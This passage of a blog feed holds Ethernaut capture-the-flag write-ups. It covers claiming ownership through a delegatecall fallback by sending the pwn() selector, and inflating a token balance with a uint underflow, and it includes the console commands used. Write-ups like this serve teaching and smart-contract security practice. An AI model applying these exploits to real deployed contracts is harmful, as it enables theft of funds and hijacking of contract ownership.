&lt;p&gt;&lt;code&gt;delegatecall&lt;/code&gt; is a low-level function in Solidity used to make external calls to another contracts. Let's say we call a function in a contract A which delegates the call to a function in a contract B. &lt;strong&gt;&lt;code&gt;delegatecall&lt;/code&gt; will load and run the logic of the function in contract B in the context of A, using the storage of contract A and for this to work contract A needs to share the same storage layout as B, otherwise we will end up writing to the incorrect slots messing with the storage of contract A&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Let's review the following example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Delegatecall&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// slot 0
&lt;/span&gt;    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// slot 1
&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;updateNum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;_num&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_num&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;BadDelegatecall&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// slot 0
&lt;/span&gt;    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// slot 1
&lt;/span&gt;
    &lt;span class="c1"&gt;// A `delegatecall` would fail because `BadDelegatecall`
&lt;/span&gt;    &lt;span class="c1"&gt;// and `Delegate` does not share the same storage layout.
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;GoodDelegatecall&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// slot 0
&lt;/span&gt;    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// slot 1
&lt;/span&gt;
    &lt;span class="c1"&gt;// A `delegatecall` would succeed because `GoodDelegatecall`
&lt;/span&gt;    &lt;span class="c1"&gt;// and `Delegate` share the same storage layout. 
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we make a &lt;code&gt;delegatecall&lt;/code&gt; from &lt;code&gt;BadDelegatecall&lt;/code&gt; to update &lt;code&gt;num&lt;/code&gt;, this would fail because the variable is in different slots. We would end up writing the value of &lt;code&gt;num&lt;/code&gt; to &lt;code&gt;status&lt;/code&gt; in &lt;code&gt;BadDelegatecall&lt;/code&gt;. &lt;code&gt;delegatecall&lt;/code&gt; will succeed in &lt;code&gt;GoodDelegatecall&lt;/code&gt; because in this case &lt;code&gt;num&lt;/code&gt; is in the same slot in both contracts.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;delegatecall&lt;/code&gt; also maintains &lt;code&gt;msg.sender&lt;/code&gt; between external calls. Let's review the following simple chain call:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;EOA ---&amp;gt; contract A ---&amp;gt; contract B

`msg.sender` in A and B is the EOA.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;fallback&lt;/code&gt; according to the Solidity &lt;a href="https://docs.soliditylang.org/en/latest/contracts.html#fallback-function"&gt;docs&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The fallback function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function. The fallback function always receives data, but in order to also receive Ether it must be marked payable.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  The hack 🌌
&lt;/h2&gt;

&lt;p&gt;We need to trigger the &lt;code&gt;fallback&lt;/code&gt; so that it makes a &lt;code&gt;delegatecall&lt;/code&gt; to &lt;code&gt;Delegate&lt;/code&gt; to run the logic of &lt;code&gt;pwn&lt;/code&gt; in &lt;code&gt;Delegation&lt;/code&gt; to update &lt;code&gt;owner&lt;/code&gt; with our address.&lt;/p&gt;

&lt;p&gt;We just need to figure out how to target the function &lt;code&gt;pwn&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When smart contracts are compiled into bytecode, the functions are encoded with an method id, called as &lt;code&gt;selector&lt;/code&gt;, that acts as an unique identifier so that the EVM can identify the method to call. The signature of a function consists of its name and the types of its parameters, for example, for &lt;code&gt;function transfer(address _to, uint _amount)&lt;/code&gt; the function signature is &lt;code&gt;transfer(address,uint)&lt;/code&gt;, no spaces are used.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;selector&lt;/code&gt; of &lt;code&gt;pwn&lt;/code&gt; is what we need to send in our payload for the EVM.&lt;/p&gt;

&lt;p&gt;Ok, let's exploit this level. Request a new instance.&lt;/p&gt;

&lt;p&gt;Compute the selector of &lt;code&gt;pwn&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="nb"&gt;selector&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;abi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encodeFunctionSignature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"pwn()"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Send a raw transaction to &lt;code&gt;Delegation&lt;/code&gt; with the &lt;code&gt;selector&lt;/code&gt; as &lt;code&gt;data&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="n"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the transaction in mined, check the owner of &lt;code&gt;Delegation&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// should return your address
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Submit the instance to complete the level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion 💯
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Delegatecall&lt;/code&gt; is a powerful function in Solidity, it allow us to dynamically load code at runtime from a different address, maintaining the &lt;code&gt;msg.sender&lt;/code&gt; between external calls.&lt;/p&gt;

&lt;p&gt;Not properly understanding or usage of &lt;code&gt;delegatecall&lt;/code&gt; can make a contract vulnerable to exploits because its storage is used by a different contract to execute external logic.&lt;/p&gt;

&lt;p&gt;We also need to be careful when calling methods in a contract that implement &lt;code&gt;delegatecall&lt;/code&gt; because we will be the &lt;code&gt;msg.sender&lt;/code&gt; in the callee contract authorizing it to execute its logic with our signature.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading 👀
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/latest/contracts.html#fallback-function"&gt;Fallback Function&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.20/introduction-to-smart-contracts.html#delegatecall-and-libraries"&gt;Delegatecall and Libraries&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.sigmaprime.io/solidity-security.html#delegatecall"&gt;Solidity Security: Comprehensive list of known attack vectors and common anti-patterns&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://swcregistry.io/docs/SWC-112"&gt;SWC-112: Delegatecall to Untrusted Callee&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ethereum</category>
      <category>security</category>
      <category>tutorial</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut - Lvl 5: Token</title>
      <dc:creator>pacelliv</dc:creator>
      <pubDate>Sun, 04 Jun 2023 01:01:03 +0000</pubDate>
      <link>https://dev.to/pacelliv/ethernaut-lvl-5-token-2cm0</link>
      <guid>https://dev.to/pacelliv/ethernaut-lvl-5-token-2cm0</guid>
      <description>&lt;h6&gt;
  
  
  &lt;em&gt;Requirement: basic smart contract knowledge.&lt;/em&gt;
&lt;/h6&gt;

&lt;h2&gt;
  
  
  The challenge 🥊
&lt;/h2&gt;

&lt;p&gt;Hack the following token contract to increase your token balance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Token&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="k"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;totalSupply&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_initialSupply&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;totalSupply&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_initialSupply&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Studying the contract 📝
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Token.sol&lt;/code&gt; is a token contract. &lt;/p&gt;

&lt;p&gt;State variables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;balances&lt;/code&gt;: &lt;code&gt;mapping&lt;/code&gt; to keep tracks of the balance of the holders.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;totalSupply&lt;/code&gt;: &lt;code&gt;uint&lt;/code&gt; variable that keeps track of the current supply of tokens.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Methods:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;constructor&lt;/code&gt;: initializes &lt;code&gt;totalSupply&lt;/code&gt; and allocates the supply to the deployer.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;transfer&lt;/code&gt;: method to move tokens if the account owns tokens.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;balanceOf&lt;/code&gt;: reads the token balance of &lt;code&gt;_owner&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Holders can move their tokens via the &lt;code&gt;transfer&lt;/code&gt; method if they own tokens.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint&lt;/strong&gt;: An odometer is the instrument used to measure the distance traveled by vehicles. Odometers are known for being tampered by humans by reducing the reading of the device to increase the selling price of a vehicle.&lt;/p&gt;

&lt;p&gt;In this challenge the contract is the odometer and we need to find a way to exploit it to increase our token balance.&lt;/p&gt;

&lt;h3&gt;
  
  
  Underflow and overflow 🧮
&lt;/h3&gt;

&lt;p&gt;If you are new to Solidity you may not be aware of the unsafe math operations prone to underflow and overflow before the release of version &lt;code&gt;v0.8.x&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since the release of version &lt;code&gt;v0.8.x&lt;/code&gt; the compiler by default check all maths operations and revert if any of them will underflow or overflow as a safety mechanism. The token contract uses the compiler version &lt;code&gt;v0.6.0&lt;/code&gt; that offers no protection against unsafe math operations.&lt;/p&gt;

&lt;p&gt;But how does underflow and overflow works? Let's say we have the following contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;UnsafeMath&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;unsafeAdd&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;pure&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;uint8&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;unsafeSubtract&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;pure&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;uint8&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;unsafeAdd&lt;/code&gt; declares a local variable &lt;code&gt;x&lt;/code&gt; of type &lt;code&gt;uint8&lt;/code&gt; and assign to it the value of 255, which is the maximum value this type can take. If we call this function and add 1 to &lt;code&gt;x&lt;/code&gt; the variable will overflow and will take the minimum value allowed which is zero.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;unsafeSubtract&lt;/code&gt; does the opposite, declares a local variable &lt;code&gt;y&lt;/code&gt; that is initiliazed as zero, when the function is executed and we subtract 1 from &lt;code&gt;y&lt;/code&gt; the variable will underflow and instead of taking a value of -1 it will take the maximum value in this type which is 255.&lt;/p&gt;

&lt;p&gt;As you can see this is extremely concerning specially if the contract handles money like &lt;code&gt;Token&lt;/code&gt;. Imagine you have 255 tokens of X token and after receiving a new token your entire balance resets to zero and this mean total lost of funds!&lt;/p&gt;

&lt;h2&gt;
  
  
  Breaking the contract 💣🧨
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;transfer&lt;/code&gt; function is the one in charge of updating the balances of the holders after each transaction of tokens, therefore this function is prone to underflow/overflow.&lt;/p&gt;

&lt;p&gt;Our current balance is consist of 20 tokens, after learning about unsafe math operations we know that if we cause an underflow our balance will be set to the maximum value of the &lt;code&gt;uint256&lt;/code&gt; type and that is a &lt;strong&gt;huge&lt;/strong&gt; number.&lt;/p&gt;

&lt;p&gt;To cause an underflow let's send 21 tokens to an account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"0x0000000000000000000000000000000000000000"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We are transferring 21 tokens to the &lt;code&gt;address zero&lt;/code&gt;. When the execution reaches the &lt;code&gt;require&lt;/code&gt; and evaluates the condition &lt;code&gt;balances[msg.sender] - _value &amp;gt;= 0&lt;/code&gt;, 20 - 21 will underflow and the condition will evaluate &lt;code&gt;maxUint256 - 21 &amp;gt;= 0&lt;/code&gt; which is &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After sending the transaction, check your balance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// should return:
// 115792089237316195423570985008687907853269984665640564039457584007913129639935
&lt;/span&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bal&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we own an absurd amount of tokens. Submit the intance fo complete this level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion ✅
&lt;/h2&gt;

&lt;p&gt;Since the release of Solidity &lt;code&gt;v.0.8.x&lt;/code&gt; the compiler by default checks all math operations and reverts the transaction in the case an underflow/overflow.&lt;/p&gt;

&lt;p&gt;This default behavior can be disabled by wrapping the operation inside a &lt;code&gt;unchecked&lt;/code&gt; block, but be sure the operation will never underflow or overflow.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;uncheckedAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;pure&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// 22291 gas
&lt;/span&gt;    &lt;span class="c1"&gt;// return x + y;
&lt;/span&gt;
    &lt;span class="c1"&gt;// 22103 gas
&lt;/span&gt;    &lt;span class="kr"&gt;unchecked&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A benefit of wrapping the math operation inside the &lt;code&gt;unchecked&lt;/code&gt; block is that the compiler will perform less logic, reducing execution cost.&lt;/p&gt;

&lt;h2&gt;
  
  
  Futher reading 🗞📰
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://neptunemutual.com/blog/solidity-integer-overflow-underflow/"&gt;Solidity Integer Overflow &amp;amp; Underflow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.openzeppelin.com/contracts/2.x/api/math#:~:text=SafeMath,in%20high%20level%20programming%20languages."&gt;Math - OpenZeppelin Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/Math.sol"&gt;Math.sol&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ethereum</category>
      <category>tutorial</category>
      <category>security</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut - Lvl 4: Telephone</title>
      <dc:creator>pacelliv</dc:creator>
      <pubDate>Wed, 31 May 2023 16:32:33 +0000</pubDate>
      <link>https://dev.to/pacelliv/ethernaut-lvl-4-telephone-14b</link>
      <guid>https://dev.to/pacelliv/ethernaut-lvl-4-telephone-14b</guid>
      <description>&lt;h6&gt;
  
  
  &lt;em&gt;Requirement: understand the difference between &lt;code&gt;msg.sender&lt;/code&gt; and &lt;code&gt;tx.origin&lt;/code&gt;&lt;/em&gt;.
&lt;/h6&gt;

&lt;h2&gt;
  
  
  The challenge 🚣‍♀️🚣
&lt;/h2&gt;

&lt;p&gt;Claim ownership of the following contract:&lt;br&gt;
